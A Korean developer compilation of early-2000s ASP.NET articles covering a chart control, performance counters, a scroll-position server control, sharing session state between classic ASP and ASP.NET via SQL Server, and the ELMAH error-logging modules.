webchart.zip -- dll파일
webchart.help.zip -- 도움말
webchartcsharp.zip --예제
VS.NET의 도구모음에 차트컨트롤 추가하여 사용;
webchart.zip -- dll파일
webchart.help.zip -- 도움말
webchartcsharp.zip --예제
VS.NET의 도구모음에 차트컨트롤 추가하여 사용;
이번에 알아볼 것은 성능 모니터의 성능 값을 ASP.NET 페이지에서 보여주는 것이다.
<authentication mode="Windows" /> <identity impersonate="true" /> <authorization> <deny users="?" /> </authorization> |
1. 인스턴스가 없는 경우 PerformanceCounter(categoryName, counterName) 2. 인스턴스가 있는 경우 PerformanceCounter(categoryName, counterName, instanceName) |
[출처 : 코리아인터넷닷컴]
출처 :ASPAlliance
(Note: You may download the control at the very last page of this article) When your page does a post-back to the webserver, we sometimes need to persist the scroll position where the user was before the post back began. If this sounds like your need for your application, I have developed the server control to solve your problem. There is a built-in feature (in the .NET Framework) for keeping the scroll position of the user (and also other useful features), called smart navigation. However, this built-in feature posses two problems that my server control (I named it StaticScrollBackPosition) overcomes:
To use the server control, it is as simple as dropping it in a web form (must be under the server side <form>). However, I am going to explain the few tricks that I used in creating the server control. The basic idea behind the StaticScrollBackPosition control is that it will not output any user interface – it will only useJavaScriptto do all the work for us. The major tricks are:
It is that simple. And to make things sound even more simpler, is the fact that the JavaScript has an extremely small size. | |
| The JavaScript | |
Essentially, the script listed below is the one that will save the scroll position constantly to hidden fields. The rate that the scroll position is saved is 100 times per second to ensure maximum resolution of where the user is. The script is listed below:function SaveScrollPositions() { document.forms[0].StaticPostBackScrollVerticalPosition.value = (navigator.appName == 'Netscape') ? document.pageYOffset : document.body.scrollTop; document.forms[0].StaticPostBackScrollHorizontalPosition.value = (navigator.appName == 'Netscape') ? document.pageXOffset : document.body.scrollLeft; setTimeout('SaveScrollPositions()', 10); }SaveScrollPositions(); And, when the page has been posted back to, it then renders the following JavaScript: function RestoreScrollPosition() {scrollTo(0, 400); // determined during run-time }window.onload = RestoreScrollPosition; What is noteworthy on the above JavaScript is that the RestoreScrollPosition method is only called once the page has loaded. The JavaScript waits for the page to load completely so we could overcome a bug in Internet Explorer when the script attempts to scroll the page (via the scrollTo client method). If another JavaScript relies on this type of listening, either StaticScrollBackPosition control will not work or the other JavaScript block(s) will not work correctly – so be warned that this will be the only known bug. However, I did try to soften the blow and told it to attach to the window's load event and not the document's load event. Therefore, if you have some HTML, as shown below, this short-fall (bug) will not effect you at all: <body onLoad="..."><!-- some code --> </body> | |
| An Ending Note | |
My server control's source and binary (in release mode) can bedownloaded from here. Drop the compiled assembly into your bin folder and you are set to go. All that you have to do to use StaticScrollBackPosition on your pages, as demonstrated below: <%@ Register TagPrefix="jlc" Namespace="JLovell.WebControls"Assembly="StaticPostBackPosition" %><jlc:StaticPostBackPosition runat="server"/> I hope that this server control will help many of you that cannot use smart navigation for whatever reason (be it forrenderingor other technical issues that may occur). And the main reason why I wrote this server control is that it can give a better web browsing experience for all browsers and all users. Enjoy! |
Billy Yuen
Microsoft Corporation
February 2003
Applies to:
Microsoft® ASP.NET
Summary:Discusses how to share session state between classic ASP and Microsoft ASP.NET using Microsoft .NET Framework classes and the serialization feature of the .NET Framework. Sharing session state allows converting existing ASP applications to ASP.NET applications in stages while running the applications side by side. (12 printed pages)
Download the source code for this article.
Introduction
Conceptual Overview
ASP.NET Implementation
ASP Implementation
Demo Program
Incorporating the COM Object in an Existing ASP Application
Limitation/Improvement
Conclusion
Microsoft® ASP.NET is the latest Microsoft technology for developing Web-based applications. It offers a number of advantages over the classic ASP script technology, including: 1) a better development structure by separating the UI presentation from business logic; 2) its code is fully compiled instead of interpreted as in classic ASP; and 3) its compile feature in conjunction with its caching support means significantly better performance for sites written in ASP.NET over equivalent sites written in classic ASP.
Despite the potential benefit of converting existing ASP applications to ASP.NET, many existing ASP applications are mission critical and complex. The conversion process could be resource intensive and induce additional risk to the existing application. One approach to address these issues is to run the ASP and ASP.NET side by side, and convert one section of the application at a time to ASP.NET. In order to run the new and old application side by side, a mechanism is needed to share the session state between classic ASP and ASP.NET. In this article, I'll discuss how the session state can be shared by using several classes and the serialization feature of the Microsoft® .NET Framework.
Cookies are the most common way for Web applications to identify the user session, and can be used to identify session state for both classic ASP and ASP.NET. Session state information is stored in memory in ASP script and can't be shared with other applications, such as ASP.NET. If the session state is stored in a common format in Microsoft® SQL Server, the session state can be accessible by both classic ASP and ASP.NET.
In this example, a cookie named mySession is used to identify the user session. When a user makes a request to the Web application, the user will be issued a unique cookie to identify the session. On subsequent request, the browser will send the unique cookie back to the server to identify the session. Before the requested Web page is loaded, a custom object will reload the user session data from SQL Server using the unique cookie. The session state is accessible in the Web page through the custom object. After the Web request is finished, the session data will be persisted back to the SQL Server as the request terminates (see Figure 1).
Figure 1. Sample data flow
In ASP.NET, every Web page derives from theSystem.Web.UI.Pageclass. ThePageclass aggregates an instance of theHttpSessionobject for session data. In this example, a customPageclass calledSessionPageis derived from theSystem.Web.UI.Pageto offer all the same features as thePageclass. The only difference with the derived page is that the defaultHttpSessionis overridden with a custom session object. (Using thenewmodifier for the instance variable, C# allows the derived class to hide members of the base class.)
public class SessionPage : System.Web.UI.Page { ... public new mySession Session = null; ... }The custom session class is responsible for storing the session state in memory using theHybridDictionaryobject. (HybridDictionarycan efficiently handle any number of session elements.) The custom session class will limit the session data type to be string only for interoperability with the classic ASP. (The defaultHttpSessionallows any type of data to be stored in the session, which will not interoperate with the classic ASP.)
[Serializable]public class mySession { private HybridDictionary dic = new HybridDictionary(); public mySession() { } public string this [string name] { get { return (string)dic[name.ToLower()]; } set { dic[name.ToLower()] = value; } } }ThePageclass exposes different events and methods for customization. In particular, theOnInitmethod is used to set the initialize state of thePageobject. If the request does not have the mySession cookie, a new mySession cookie will be issued to the requester. Otherwise, the session data will be retrieved from SQL Server using a custom data access object,SessionPersistence. The dsn andSessionExpirationvalues are retrieved from the web.config.
override protected void OnInit(EventArgs e) { InitializeComponent(); base.OnInit(e); } private void InitializeComponent() { cookie = this.Request.Cookies[sessionPersistence.SessionID]; if (cookie == null) { Session = new mySession(); CreateNewSessionCookie(); IsNewSession = true; } else Session = sessionPersistence.LoadSession(Server.UrlDecode(cookie.Value).ToLower().Trim(), dsn, SessionExpiration); this.Unload += new EventHandler(this.PersistSession); } private void CreateNewSessionCookie() { cookie = new HttpCookie(sessionPersistence.SessionID, sessionPersistence.GenerateKey()); this.Response.Cookies.Add(cookie); }TheSessionPersistenceclass uses theBinaryFormatterof the Microsoft .NET Framework to serialize and deserialize the session state in binary format for optimal performance. The resulting binary session state data can then be stored in the SQL Server as an image field type.
public mySession LoadSession(string key, string dsn, int SessionExpiration) { SqlConnection conn = new SqlConnection(dsn); SqlCommand LoadCmd = new SqlCommand(); LoadCmd.CommandText = command; LoadCmd.Connection = conn; SqlDataReader reader = null; mySession Session = null; try { LoadCmd.Parameters.Add("@ID", new Guid(key)); conn.Open(); reader = LoadCmd.ExecuteReader(); if (reader.Read()) { DateTime LastAccessed = reader.GetDateTime(1).AddMinutes(SessionExpiration); if (LastAccessed >= DateTime.Now) Session = Deserialize((Byte[])reader["Data"]); } } finally { if (reader != null) reader.Close(); if (conn != null) conn.Close(); } return Session; }private mySession Deserialize(Byte[] state) { if (state == null) return null; mySession Session = null; Stream stream = null; try { stream = new MemoryStream(); stream.Write(state, 0, state.Length); stream.Position = 0; IFormatter formatter = new BinaryFormatter(); Session = (mySession)formatter.Deserialize(stream); } finally { if (stream != null) stream.Close(); } return Session; }At the end of the request, thePageclassUnloadevent is fired, and an event handler registered with theUnloadevent will serialize the session data into binary format and save the resulting binary data into SQL Server.
private void PersistSession(Object obj, System.EventArgs arg) { sessionPersistence.SaveSession( Server.UrlDecode(cookie.Value).ToLower().Trim(), dsn, Session, IsNewSession); } public void SaveSession(string key, string dsn, mySession Session, bool IsNewSession) { SqlConnection conn = new SqlConnection(dsn); SqlCommand SaveCmd = new SqlCommand(); SaveCmd.Connection = conn; try { if (IsNewSession) SaveCmd.CommandText = InsertStatement; else SaveCmd.CommandText = UpdateStatement; SaveCmd.Parameters.Add("@ID", new Guid(key)); SaveCmd.Parameters.Add("@Data", Serialize(Session)); SaveCmd.Parameters.Add("@LastAccessed", DateTime.Now.ToString()); conn.Open(); SaveCmd.ExecuteNonQuery(); } finally { if (conn != null) conn.Close(); } }private Byte[] Serialize(mySession Session) { if (Session == null) return null; Stream stream = null; Byte[] state = null; try { IFormatter formatter = new BinaryFormatter(); stream = new MemoryStream(); formatter.Serialize(stream, Session); state = new Byte[stream.Length]; stream.Position = 0; stream.Read(state, 0, (int)stream.Length); stream.Close(); } finally { if (stream != null) stream.Close(); } return state; }TheSessionPageclass and its associated classes are packaged in the SessionUtility assembly. In a new ASP.NET project, a reference will be made to the SessionUtility assembly, and every page will derive from theSessionPageinstead of from thePageclass in order to share session with classic ASP codes. Once the porting is completed, the new application can switch back to use the nativeHttpSessionobject by commenting out the Session variable declaration in theSessionPageclass to unhide the baseHttpSession.
The native ASP session can only store session data in memory. In order to store the session data to SQL Server, a custom Microsoft® Visual Basic® 6.0 COM object is written to manage the session state instead of using the native session object. This COM object will be instantiated in the beginning of each Web request and reload the session data from SQL Server. When the ASP script is finished, this object will be terminated and the session state will be persisted back to SQL Server.
The primary purpose of the Visual Basic 6 COMSessionobject is to provide access to the Microsoft® Internet Information Server intrinsic objects. The Visual Basic 6.0 COM Session object uses themySessionclass of SessionUtility assembly to hold the session state, and theSessionPersistenceclass of SessionUtility to load and save session data with SQL Server. ThemySessionandSessionPersistenceclasses are exposed as COM objects using the regasm.exe utility. The regasm.exe utility can register and create a type library for the COM client to consume Framework classes.
The session state information is reloaded during the construction of the object. The constructor (class_initialize) will first retrieve the session cookie, session timeout (SessionTimeOut), and database connection string (SessionDSN) from theApplicationobject, and create an instance of the classmySessionto hold the session data. Then the constructor will try to reload the session data from SQL Server with the given cookie. If the SQL Server does not have the session information, or the session has been expired, a new cookie will be issued. If the SQL Sever does return with the session state data, the session state will be stored in themySessionobject.
Private Sub Class_Initialize()On Error GoTo ErrHandler: Const METHOD_NAME As String = "Class_Initialize" Set mySessionPersistence = New SessionPersistence Set myObjectContext = GetObjectContext() mySessionID = ReadSessionID() myDSNString = GetConnectionDSN() myTimeOut = GetSessionTimeOut() myIsNewSession = False Call InitContents Exit SubErrHandler: Err.Raise Err.Number, METHOD_NAME & ":" & Err.Source, Err.DescriptionEnd SubPrivate Sub InitContents()On Error GoTo ErrHandler: Const METHOD_NAME As String = "InitContents" If mySessionID = "" Then Set myContentsEntity = New mySession mySessionID = mySessionPersistence.GenerateKey myIsNewSession = True Else Set myContentsEntity = mySessionPersistence.LoadSession(mySessionID, myDSNString, myTimeOut) End If Exit SubErrHandler: Err.Raise Err.Number, METHOD_NAME & ":" & Err.Source, Err.DescriptionEnd Sub
When the object instance goes out of scope in the script, the destructor (class_terminate) will execute. The destructor will persist the session data using theSessionPersistence.SaveSession()method. If this is a new session, the destructor will also send the new cookie back to the browser.
Private Sub Class_Terminate()On Error GoTo ErrHandler: Const METHOD_NAME As String = "Class_Terminate" Call SetDataForSessionID Exit Sub ErrHandler: Err.Raise Err.Number, METHOD_NAME & ":" & Err.Source, Err.Description End SubPrivate Sub SetDataForSessionID()On Error GoTo ErrHandler: Const METHOD_NAME As String = "SetDataForSessionID" Call mySessionPersistence.SaveSession(mySessionID, myDSNString, myContentsEntity, myIsNewSession) If myIsNewSession Then Call WriteSessionID(mySessionID) Set myContentsEntity = Nothing Set myObjectContext = Nothing Set mySessionPersistence = Nothing Exit SubErrHandler: Err.Raise Err.Number, METHOD_NAME & ":" & Err.Source, Err.DescriptionEnd Sub
You can download the source code of ASP.NET SessionUtility project, the COM Session Manager, and the Demo code by clicking the link at the top of the article.
The demo program is designed to increment and display a number. Regardless of which page is loaded, the number will keep incrementing because the number value is stored in SQL Server and is shared between classic ASP and ASP.NET.
A common practice in developing ASP applications is to include a file in the beginning of each script to share common codes and constants. The best way to incorporate the custom session object is to add the instantiation code in the common include file. The last step is simply to replace all reference to the session object with the custom session variable name.
This solution will not support an existing ASP application that stores a COM object in theSessionobject. In this case, a custom marshaler is needed to serialize/deserialize the states in order to use the custom session object. In addition, this solution does not support storing type arrays of the string. With some additional effort, this feature can be implemented by using the Microsoft® Visual Basic® 6.0Joinfunction to combine all of the array elements into a single string before storing it into session object. The reverse can be done using the Visual Basic 6.0Splitfunction to split the string back to individual array elements. On the .NET Framework side, theJoinandSplitmethods are members of theStringclass.
ASP.NET represents a new programming paradigm and architecture, and offers many advantages over classic ASP. Although porting from ASP to ASP.NET is not a simple process, the better programming model and improved performance of ASP.NET will make the conversion process worthwhile. With the exception of storing a COM object in theSessionobject, the approach described in this article offers a solution that will make the migration process simpler.
Billy Yuenworks in Northern California at the Microsoft Technology Center Silicon Valley. This center focuses on the development of Microsoft .NET Framework solutions. He can be reached atbillyy@microsoft.com.
Scott Mitchell, 4GuysFromRolla.com
Atif Aziz, Skybow AG
2004년 9월
요약: 이 기사에서는 Scott Mitchell과 Atif Aziz가 HTTP 모듈과 처리기를 사용하여 오류 로깅을 ASP.NET 응용 프로그램에 추가하는 방법에 대해 설명합니다.
MSDNElmah.msi 샘플 파일을 다운로드하십시오.
소개
ELMAH: Error Logging Modules And Handlers
HTTP 처리기 및 모듈에 대한 간략한 개요
ELMAH의 아키텍처 검토
ASP.NET 웹 응용 프로그램에 ELMAH 추가
결론
참고 자료
관련 서적
ASP.NET 응용 프로그램에서 작업을 수행한 적이 있으며 다른 ASP.NET 응용 프로그램에서 간편하게 재사용할 수 있도록 유용한 일부 기능 집합을 디자인한 적이 있으십니까? ASP.NET은 다른 유형의 기능을 구성 요소화하기 위한 다양한 도구를 제공합니다. ASP.NET에서의 재사용을 위한 가장 일반적인 두 가지 도구는 다음과 같습니다.
별다른 주목을 끌지 못하는 두 개의 ASP.NET 재사용 도구는HTTP 모듈과 처리기입니다(이 기사에는 영문 페이지 링크가 포함되어 있습니다).
HTTP 처리기와 모듈에 익숙하지 않더라도 걱정하실 필요는 없습니다. 이 기사의 뒷부분에서 좀더 자세하게 설명할 것입니다. 지금은 우선 ASP.NET 리소스 요청 도중에 발생하는 이벤트에 응답하여 실행하도록 구성할 수 있는 HTTP 모듈과 클래스에 대해 살펴보겠습니다. HTTP 처리기는 특정 리소스나 특정 유형의 리소스를 렌더링하는 클래스입니다. 실제로 ASP.NET 웹 페이지를 프로젝트에 추가할 때마다 필수적으로 HTTP 처리기를 작성하게 됩니다. 이는 ASP.NET 웹 페이지의 HTML 부분이 런타임에 동적으로 컴파일될 때 결과적으로 HTTP 처리기가 구현되는System.Web.UI.Page에서 직접 또는 간접적으로 상속이 이루어지기 때문입니다. 이것은 인라인 전략을 사용하는지 아니면 코드 숨김 전략을 사용하는지와는 무관합니다.
아시다시피 ASP.NET 응용 프로그램은 일반적으로 최종 사용자의 브라우저에서 요청 시에 호출되는 웹 페이지 집합으로 구성됩니다. ASP.NET 개발자가 작성하는 대부분의 코드는 특정 웹 페이지에 대한 요청과 관련됩니다. 예를 들면 일부 검색 쿼리에 기초하여 데이터베이스 결과를 표시하기 위한 특정 페이지의 코드 숨김 클래스에 있는 코드 등이 이에 속합니다. 그러나 경우에 따라서는 단일 웹 페이지와 관련된 코드, 즉 응용 프로그램의 모든 페이지에 적용되는 코드를 작성해야 할 수도 있습니다. 예를 들어 각 사용자가 웹 사이트에서 이동한 순서를 추적해야 할 수 있습니다. 이렇게 하려면 요청 시간과 사용자를 식별하는 정보가 각 페이지에 기록되도록 해야 합니다.
이러한 로깅 기능을 제공하는 방법 중 하나는 사이트의 각 웹 페이지에 대해Page_Load이벤트 처리기에서 관련 데이터를 데이터베이스에 기록하는 코드를 추가하는 것입니다. 그러나 이 방법은 유지 관리하거나 재사용하는 데 어려움이 있습니다. 사이트에서 새 ASP.NET 페이지를 추가할 때마다 적절한 로깅 코드가 포함되었는지 확인해야 합니다. 비슷한 기능을 다른 사이트에 추가하려는 경우 해당 사이트의 각 페이지에서 필요한 코드를 추가해야 합니다. 이상적인 경우라면 로깅 기능은 각 개별 페이지의 기능과 논리 및 물리적으로 구별되어야 하며 로깅 기능을 다른 사이트에 추가하는 것은 사이트의/bin디렉터리에서 어셈블리를 삭제하는 것만큼 간단할 것입니다.
이러한 재사용과 관리 용이성은 HTTP 모듈과 처리기를 통해 가능합니다. 이 기사에서는 오류 로깅을 매우 쉽게 관리하고 재사용할 수 있게 만들도록 설계된 일련의 HTTP 모듈과 처리기를 살펴보도록 하겠습니다. 이 기사의 목적은 HTTP 처리기와 모듈을 매우 높은 수준의 구성 요소화 형태로 사용함으로써 전체 기능을 웹 응용 프로그램과 무관한 단일 단위로 개발, 패키지화 및 배포할 수 있음을 보여 주는 것입니다. HTTP 처리기와 모듈을 통한 재사용 및 구성 요소화 이점을 사용하는 응용 프로그램이 이러한 목적을 설명하는 데 주로 사용됩니다.
이 기사에서 살펴볼 ELMAH(ErrorLoggingModulesAndHandlers(오류 로깅 모듈 및 처리기))는 공동 저자인 Atif Aziz(http://www.raboof.com/)
가 작성한 것이며, 오류 로깅 기능을 ASP.NET 웹 응용 프로그램에 간단하게 추가할 수 있는 방법을 제공합니다. ELMAH에서는 응용 프로그램 전체 로깅과 같은 웹 응용 프로그램 관련 코드를 위한 높은 수준의 구성 요소화를 HTTP 모듈과 처리기를 사용하여 제공하는 방법을 보여 줍니다. ELMAH는 플러그형 솔루션이므로 재컴파일이나 재배포할 필요 없이 실행 중인 ASP.NET 웹 응용 프로그램에 동적으로 추가할 수 있습니다.특정 웹 응용 프로그램을 완벽하게 작성하고 테스트했더라도, 문제가 발생할 가능성은 여전히 존재합니다. 이것은 코드에 오류가 있기 때문이 아니라 전자 메일 서버가 응답하지 않거나 일부 데이터 손상으로 인해 암호화 오류가 발생하기 때문일 수 있습니다. 어떤 이유든 간에 예외가 발생할 경우 특히 라이브 사이트에서는 문제 진단을 지원하기 위해 예외에 대한 세부적인 정보를 기록하는 것이 중요합니다. ELMAH는 중앙화된 오류 로깅 및 알림을 위한 메커니즘을 제공합니다. ASP.NET 응용 프로그램에서 catch되지 않는 예외가 발생할 때마다 ELMAH는 알림을 받게 되며Web.config파일에 지정된 대로 예외를 처리합니다. 예외의 세부 정보를 데이터베이스에 기록하거나, 전자 메일을 관리자에게 보내거나, 두 작업을 모두 수행하는 것이 여기에 포함될 수 있습니다.
ELMAH는 처리되지 않은 예외에 적절하게 대응하도록 디자인된 것이 아니라 단순히 처리되지 않은 예외의 세부 정보만을 기록합니다. 따라서 ELMAH를 ASP.NET 웹 응용 프로그램에 추가하면 이 응용 프로그램에서 발생한 처리되지 않은 모든 예외가 기록됩니다. 처리되지 않은 예외가 발생하더라도 ELMAH는 최종 사용자의 작업에 영향을 주지 않습니다. 최종 사용자에게는 여전히 "서버 오류" 페이지가 표시되며, HTTP 500 오류를 처리하도록 사용자 지정 오류를 구성한 경우 다른 페이지로 이동합니다. 그러나 배후에서 ELMAH는 처리되지 않은 예외가 발생했음을 감지하고 세부 정보를 기록합니다.
ELMAH는HttpApplication개체의Error 이벤트를 통해 처리되지 않은 예외를 검색합니다.Error이벤트는 .NET 클래스 라이브러리 또는 ASP.NET 웹 페이지로부터의 요청을 처리하는 동안 catch되지 않은 예외가 버블링될 때마다 발생합니다. 많은 ASP.NET 응용 프로그램이Server.ClearError()메서드를 호출하여 사용자 지정 오류 페이지 및 처리를 잘못 구현한다는 점에 주의해야 합니다. 오류를 지우면Error이벤트가 발생하지 않을 뿐만 아니라 클라이언트에게 보고되지 않으므로 ELMAH는 예외를 기록할 수 있는 기회가 없습니다. 달리 말해서 사용자 지정 오류 페이지에서ClearError()를 사용하면 사용자는 문제가 발생했음을 알게 되지만 관리자 자신은 이러한 사실을 알 수 없습니다.
참고 사용자 지정 오류 페이지를 만드는 방법에 대한 자세한 내용은 Eli Robillard의Rich Custom Error Handling with ASP.NET 기사를 참조하십시오.
참고 ASP.NET 웹 서비스에서 처리되지 않은 예외가 발생하면Error이벤트가 HTTP 모듈에 버블링되지 않으며, 따라서 ELMAH에도 버블링되지 않습니다. 대신에 ASP.NET 런타임이 예외를 인터셉트하고 SOAP 오류가 클라이언트에게 반환됩니다. 웹 서비스에서 오류가 기록되게 하려면 SOAP 오류를 수신 대기하는SOAP 확장 을 만들어야 합니다.처리되지 않은 예외의 세부 정보를 기록하는 것 외에도 오류 로그를 볼 수 있는 일련의 HTTP 처리기가 ELMAH에 포함되어 있습니다. 처리되지 않은 모든 오류의 목록뿐만 아니라 특정 오류에 대한 세부 정보를 볼 수 있는 로그에 대한 웹 인터페이스가 제공됩니다(그림 1 및 2 참조).
그림 1. 오류 로그 보기
그림 2. 오류 보기
또한 오류 로그를 RSS로 렌더링할 수 있습니다. 이렇게 하면 관리자는 오류가 발생했을 때 자신이 선호하는 RSS 애그리게이터를 통해 알림을 받을 수 있습니다(그림 3 참조).
그림 3. 오류의 RSS 피드
참고 Really Simple Syndication의 약어인 RSS는 뉴스 및 변경되는 기타 유형의 콘텐츠를 배포하는 데 널리 사용되는 XML 서식 표준입니다. RSS를 사용하여 콘텐츠를 배포하는 방법이나 웹 기반의 RSS 판독기를 만드는 방법을 비롯하여 RSS에 대한 자세한 내용은Creating an Online News Aggregator with ASP.NET 을 참조하십시오.
이 기사에서는 간결하게 하기 위해서 주요 구성 요소를 중심으로 ELMAH의 일부 기능만 살펴봅니다. 전체 코드는 이 기사에서 다운로드할 수 있으며, 가능하면 전체 코드를 검토하여 구현 세부 정보를 확인하는 것이 좋습니다. 또한http://workspaces.gotdotnet.com/elmah
에는 토론, 문제 보고, 최신 변경 내용 확인 등을 위한 ELMAH용 GotDotNet Workspace 설치 프로그램이 있습니다.ASP.NET이 오류 로깅 및 보기 기능을 기본적으로 제공하지 않지만 Microsoft의Patterns & Practices Group
은 오픈 소스 오류 로거인 EMAB(Exception Management Application Block) 를 만들었습니다. EMAB는 데스크톱 및 웹 기반 .NET 응용 프로그램에서 모두 작동하도록 설계되었지만, 기본적으로 EMAB가 예외 세부 정보를 Windows 이벤트 로그에 게시하기 때문에 EMAB는 주로 웹 응용 프로그램이 있는 데스크톱 응용 프로그램용으로 추가적으로 설계된 것처럼 보입니다. 이벤트 로그가 데스크톱 응용 프로그램의 간략한 예외 정보를 저장하기에 적절한 백업 저장소이기는 하지만 대부분의 웹 응용 프로그램, 특히 웹 호스팅 회사의 공유 서버에서 호스팅되는 응용 프로그램은 이벤트 로그를 사용하려 하지 않습니다. 이벤트 로그를 사용하려면 ASP.NET 응용 프로그램이 이벤트 로그에 기록할 수 있도록 특수한 권한을 설정해야 하기 때문입니다. 물론 EMAB는 데이터베이스에 정보를 기록하는 사용자 지정 게시자를 만들 수 있는 충분한 유연성을 제공하지만 이것은 개발자의 개입이 요구되는 별도의 작업 단계입니다.참고 ELMAH는 Microsoft SQL Server 2000용의 데이터베이스 로깅 모듈을 제공합니다. 이에 대해서는 뒤에 설명할 것입니다. 또한 ELMAH를 사용하면 웹 서버의 파일 시스템에 있는 XML 파일에 예외 세부 정보를 기록하는 로거와 같은 사용자 지정 예외 로거를 만들 수 있습니다. 실제로, 사용하려는 EMAB에 대해 사용자 지정 게시자를 이미 작성한 경우에는 ELMAH를 확장하여 Exception Management Application Block을 사용할 수 있습니다.
EMAB를 사용하여 예외 정보를 기록하는 방법은 웹 응용 프로그램의 관리 용이성과 재사용 가능성에 큰 영향을 끼칩니다. 예를 들어 예외 정보를 기록하기 위한 간단한 방법은 각 ASP.NET 웹 페이지에서 각 코드 블록 주위에try ...catch블록을 배치하여catch섹션에서 EMAB를 호출하는 것일 수 있습니다.
private void Page_Load(object sender, EventArgs e) { try { // 예외를 일으킬
수 있는 코드 } catch (Exception ex) { // 예외 로거 라이브러리를 호출하여 예외 정보를
기록합니다. } }(참고: 프로그래머 코멘트는 샘플 프로그램 파일에는 영문으로 제공되며 기사
에는 설명을 위해 번역문으로 제공됩니다.)이 방법은 각각의 모든 ASP.NET 웹 페이지에 예외 로깅을 긴밀하게 결합하기 때문에 관리 용이성이나 재사용 가능성이 전혀 없다는 점에서 매우 비효율적입니다.Global.asax의Application_Error이벤트에서 EMAB를 사용한다면 더 나은 방법이 될 것입니다. 이 방법은 예외 게시 코드가 각 ASP.NET 웹 페이지에 포함되는 대신에 중앙화된 단일 장소에 위치하기 때문에 관리 용이성과 재사용 가능성이 존재하는 더 느슨하게 결합된 아키텍처를 제공합니다. 이 방법의 단점은 플러그형이 아니라는 것입니다. 이 오류 로깅 기능을 다른 ASP.NET 웹 응용 프로그램에 추가하려면 응용 프로그램의Global.asax를 수정해야 하므로 응용 프로그램을 재컴파일 및 재배포해야 합니다.
이 기사에서 중점적으로 다루려는 내용은 EMAB를 대체하는 수단을 소개하는 것이 아니라 HTTP 처리기와 모듈을 통해 가능해지는 구성 요소화를 강조하려는 것입니다. ELMAH는 중앙화된 오류 로깅과 같은 일반적인 작업을 가져와 구성 요소화함으로써 쉽게 관리할 수 있게 만들고 높은 수준의 재사용 가능성을 제공하는 방법을 보여 줍니다. ELMAH의 목적은 적용 가능한 기능을 구성 요소화하는 것에 대한 지침을 제공하는 것입니다.
ELMAH의 아키텍처와 구현에 대한 구체적인 내용을 검토하기 전에 HTTP 처리기와 모듈을 잠깐 살펴보도록 하겠습니다. IIS 웹 서버에 요청이 도착하면 IIS는 요청의 확장을 검사하여 처리 방법을 결정합니다. HTML 페이지, CSS 파일, 이미지, JavaScript 파일 등의 정적 콘텐츠의 경우 IIS는 요청 자체를 처리합니다. ASP 페이지, ASP.NET 웹 페이지, ASP.NET 웹 서비스 등의 동적 콘텐츠의 경우 IIS는 요청을 지정된ISAPI 확장에 위임합니다. ISAPI 확장은 특정 유형의 요청을 렌더링하는 방법을 알고 있는 관리되지 않는 코드입니다. 예를 들어asp.dllISAPI 확장은 전통적인 ASP 웹 페이지의 요청을 렌더링하며aspnet_isapi.dllISAPI 확장은 ASP.NET 리소스에 대한 요청이 있을 때 호출됩니다.
ISAPI 확장 외에도 IIS는ISAPI 필터를 허용합니다. ISAPI 필터는 IIS에 의해 발생한 이벤트에 응답하여 실행할 수 있는 관리되지 않는 코드입니다. 요청 수명 주기 동안에 IIS는 해당 이벤트를 발생시키는 여러 단계를 거칩니다. 예를 들어 요청이 처음 IIS에 도달했을 때, 요청을 인증하려고 할 때, 렌더링된 콘텐츠를 다시 클라이언트에게 보내려고 할 때와 같은 여러 경우에 이벤트가 발생합니다. ISAPI 필터는 일반적으로 URL 재작성, 압축, 특수한 인증 및 권한 부여, 특수한 로깅 등의 기능을 제공하는 데 사용됩니다.
ASP.NET 리소스에 대한 요청은 IIS에 도달하면 ASP.NET 엔진에 라우팅되며 ASP.NET 엔진은 요청된 리소스에 대한 콘텐츠를 렌더링합니다. ASP.NET 엔진은 요청이 ASP.NET HTTP 파이프라인을 통과할 때 여러 이벤트를 발생시킨다는 점에서 IIS와 유사하게 작동합니다. 게다가 ASP.NET 엔진은 요청된 리소스의 렌더링을 특정 클래스에 위임합니다. IIS가 관리되지 않는 ISAPI 확장 및 필터를 사용하는 것과 달리 ASP.NET은 HTTP 처리기 및 모듈이라고 부르는 관리되는 클래스를 사용합니다.
HTTP 처리기는 특정 유형의 리소스를 렌더링하는 클래스입니다. 예를 들어 ASP.NET 웹 페이지를 위한 코드 숨김 클래스는 특정 웹 페이지의 태그를 렌더링하는 방법을 알고 있는 HTTP 처리기입니다. 처리기를 특정 유형의 리소스에 대한 태그를 만드는 방법을 알고 있는 특수한 렌더러로 생각하면 이해가 빠를 것입니다.
참고 실제적인 몇 가지 처리기 응용 프로그램을 비롯하여 HTTP 처리기에 대한 자세한 내용은Serving Dynamic Content with HTTP Handlers 를 참조하십시오.
HTTP 모듈은 요청이 서버에서 해당 수명 주기의 단계를 통과하는 동안에 발생한 다양한 이벤트를 사용할 수 있는 클래스입니다. ASP.NET 응용 프로그램 이벤트와 같은 이벤트는 ELMAH 이벤트가 관심을 가지는 처리되지 않은 예외가 발생했을 때 발생하는Error이벤트입니다.
참고 HTTP 모듈을 사용하여 URL 재작성을 구현하는 방법을 비롯하여 HTTP 모듈에 대한 자세한 내용은URL Rewriting in ASP.NET 을 참조하십시오.
그림 4는 ASP.NET HTTP 파이프라인을 그래픽으로 표현한 것입니다. IIS에 도착하는 요청으로부터 프로세스가 시작된다는 점에 주의해야 합니다. 요청된 리소스가 ASP.NET ISAPI 확장에 의해 처리되도록 구성되었다고 가정하면 IIS는 요청을 관리되지 않는aspnet_isapi.dllISAPI 확장으로 디스패치합니다. 이 ISAPI 확장은 요청을 관리되는 ASP.NET 엔진에 전달합니다. 요청 수명 주기 동안에 하나 이상의 HTTP 모듈이 실행될 수 있습니다(등록된 모듈과 이러한 모듈이 구독한 이벤트에 따라 달라짐). 마지막으로 ASP.NET 엔진은 콘텐츠 렌더링, 처리기 호출 및 생성된 콘텐츠를 IIS로 반환하는 작업을 수행하는 HTTP 처리기를 결정합니다(IIS는 해당 콘텐츠를 다시 요청 클라이언트에게 반환함).
그림 4. 오류 로거를 통과하는 데이터 흐름
ELMAH는Error이벤트에 대한 이벤트 처리기를 가진 HTTP 모듈을 통해 중앙화된 오류 로깅을 제공합니다. 이벤트가 발생하면 ELMAH는 예외 세부 정보를 기록합니다. 또한 ELMAH는 주로 HTML 및 RSS 태그를 생성하여 오류 로그의 정보를 표시하는 역할을 수행하는 HTTP 처리기를 사용합니다.
모듈 또는 처리기 어셈블리를 웹 응용 프로그램의/bin디렉터리에 복사하고 몇 줄의 구성을Web.config파일에 복사하는 방법을 통해 다양한 처리기나 모듈을 사용하도록 기존의 웹 응용 프로그램을 구성합니다.
